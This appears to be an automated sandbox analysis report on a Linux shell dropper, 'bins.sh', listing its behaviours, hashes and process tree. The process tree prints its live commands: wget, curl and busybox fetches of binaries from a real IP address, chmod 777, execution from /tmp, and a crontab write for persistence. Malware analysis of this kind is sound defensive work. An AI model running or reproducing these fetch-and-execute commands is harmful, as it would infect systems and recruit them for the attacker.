Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/11/2024, 07:14

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241109-h2mnpayrhs
  • SHA256 29b6fbf8520e38ee858951211cf8d6364128b9e1a351e9fcc96cf4dc06c45e87
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2122) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1502
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1503
        • /usr/bin/wget
          wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          ./XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            ./7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
            • Executes dropped EXE
            PID:1518
          • /bin/rm
            rm 7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
            2⤵
              PID:1520
            • /usr/bin/wget
              wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/chmod
              chmod 777 okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • File and Directory Permissions Modification
              PID:1524
            • /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              ./okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
              • Executes dropped EXE
              PID:1525
            • /bin/rm
              rm okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                ./yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1532
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1534
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1535
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1536
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1537
                    • /bin/rm
                      rm yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                      2⤵
                        PID:1539
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/bE1wZrR3LkaqAP5wPtbqf6sNNmp0d9shLL
                        2⤵
                          PID:1542

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B

                            • Path /tmp/7u6S28C4pr5jbcrCyfbompYOYtt9J5kk8B
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP

                            XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa

                            • Path /tmp/XJN6e2qWTwrsN6CGouvz9xCbwk6JLs7Ypa
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP

                            okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy

                            • Path /tmp/okqyOtgxZhF83wMW7RGhqlWYNLmlLxMnVy
                            • Size 117KB
                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                            • MD5 SHA1 SHA512 SSDEEP

                            yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C

                            • Path /tmp/yisSbqHPG70HTvNT7Rhf8FCAcnDFB8Ge2C
                            • Size 112KB
                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.K46dZ3

                            • Path /var/spool/cron/crontabs/tmp.K46dZ3
                            • Size 210B
                            • SHA256 e4c2d190b56613e31b0b376525e89a6b956b1c84fd07f94ba206cca99cb2dfba
                            • MD5 SHA1 SHA512